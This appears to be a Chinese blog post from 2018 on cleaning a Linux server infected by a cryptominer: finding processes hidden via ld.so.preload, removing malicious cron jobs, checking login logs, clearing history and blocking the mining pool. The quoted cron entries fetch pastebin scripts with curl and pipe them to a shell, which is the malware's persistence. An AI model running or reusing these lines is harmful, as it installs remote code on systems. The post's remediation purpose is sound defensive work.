服务器被挖矿

 查看哪个进程占据cup

通过 top 或者使用  ps aux

我这个通过top 命令看不到哪个进程占用了cup ,执行  cat /etc/ld.so.preload 查看,里面也加载了异常的文件,判断是用于隐藏进程用的, 建议将其内容注释掉或删除,执行ldconfig 然后再使用top 查看下进程; 使用  ls -lt /etc | head  查看最近变动的文件目录 或者使用 find 命令  查找最近修改过的文件

 

查找进程文件删除,执行其中任意 1 条命令即可  

ps -ef | grep shutdown [命令]    

ps aux | grep /bin/bash [命令路径]

ps aux | grep bash [命令]

lsof -p PID

cd /proc/4170 [pid] 

ps aux 输出格式 :

root 14232 0.0 0.0 5928 724 pts/1 S+ 18:16 0:00 grep ./update_stock
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
格式说明:
USER: 行程拥有者
PID: pid
%CPU: 占用的 CPU 使用率
%MEM: 占用的记忆体使用率
VSZ: 占用的虚拟记忆体大小
RSS: 占用的记忆体大小
TTY: 终端的次要装置号码 (minor number of tty)
STAT: 该行程的状态,linux的进程有5种状态:
    D 不可中断 uninterruptible sleep (usually IO)
    R 运行 runnable (on run queue)
    S 中断 sleeping
    T 停止 traced or stopped
    Z 僵死 a defunct (”zombie”) process
    注: 其它状态还包括W(无驻留页), <(高优先级进程), N(低优先级进程), L(内存锁页).
START: 行程开始时间
TIME: 执行的时间
COMMAND:所执行的指令

 

找出系统中所有的僵尸进程

ps aux | grep 'defunct'  


ps -ef | grep defunct | grep -v grep | wc -l

 

清理僵尸进程 

ps -e -o ppid,stat | grep Z | cut -d" " -f2 | xargs kill -9

kill -HUP `ps -A -ostat,ppid | grep -e '^[Zz]' | awk '{print $2}'`

 

查找系统中的定时任务

crontab -l 

或者

cd /var/spool/cron  #查看这个文件夹下的文件删除
vim /etc/crontab 

里面会有一个定时任务我的分别是一下这几个(删除), 浏览器打开网址是个脚本,通过base64 加密,解密即可看到脚本内容

* */10 * * *    /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh
 */1 * * * root /bin/sh /bin/httpdns
/usr/bin/curl -fsSL --connect-timeout 120 https://pastebin.com/raw/kDSLjxfQ|/usr/bin/base64 -d|/bin/bash

根据脚本删除脚本创建的文件,我这里删除的是  

/usr/local/lib/libjdk.so ,/etc/ld.so.preload

 

查看系统登录日志

日志文件 /var/log/wtmp ,系统的每一次登录,都会在此日志中添加记录,为了防止有人篡改,该文件为二进制文件

cd   /var/log ; last  或者  last -f /var/log/wtmp 

 

删除历史操作命令,防止黑客进入查看你做了哪些操作

history 命令来查看历史命令

history -c 是清除当前shell的历史纪录,因为系统一般会把信息保存在一个文件中,只要文件中内容没有改变,那么信息也不会变。linux中存放历史命令的文件是.bash_history,清空该文件(echo ‘’ > /root/.bash_history),那些历史命令就会被清空了。

如果是在shell脚本中调用 history -c 清空当前shell的历史命令,是不会成功的,因为bash执行命令时默认是会产生一个子进程来执行该命令,在子进程中执行 history -c 不是清除你当前shell的历史命令了。可以使用source来执行脚本(source ./脚本),source 指在当前bash环境下执行命令。

 

关闭不需要的端口

屏蔽访问脚本中的域名 ip,关闭访问挖矿服务器的访问

iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP 

如果安装了redis ,修改redis 端口,设置复杂高一些密码  Redis 未授权访问缺陷可轻易导致系统被黑

 

posted @ 2018-09-02 10:08  柔和的天空  阅读(2713)  评论(2编辑  收藏  举报